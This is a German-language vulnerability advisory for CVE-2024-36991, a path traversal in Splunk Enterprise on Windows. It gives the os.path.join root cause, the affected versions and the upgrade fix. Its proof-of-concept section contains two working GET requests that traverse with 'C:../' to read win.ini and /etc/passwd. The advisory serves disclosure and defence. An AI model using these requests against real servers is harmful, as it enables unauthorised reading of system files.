CVE-2024-36991

Path Traversal auf dem Endpunkt "/Modules/Messaging/" in Splunk Enterprise unter Windows

In Splunk Enterprise-Versionen unter 9.2.2, 9.1.5 und 9.0.10 könnte ein Angreifer einen Path Traversal am Endpunkt /modules/messaging/ in Splunk Enterprise unter Windows durchführen.

Die Schwachstelle besteht, weil die Python-Funktion os.path.join den Laufwerksbuchstaben aus Pfadtokens entfernt, wenn das Laufwerk im Token mit dem Laufwerk im erstellten Pfad übereinstimmt.

Diese Schwachstelle sollte nur Splunk Enterprise unter Windows betreffen.

POC

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

Affected

betroffen von 9.2 bis vor 9.2.2

betroffen von 9.1 bis vor 9.1.5

betroffen von 9.0 bis vor 9.0.10

Solution

Aktualisieren Sie Splunk Enterprise auf die Versionen 9.2.2, 9.1.5 und 9.0.10 oder höher.

Credits

Danylo Dmytriiev (DDV_UA)

References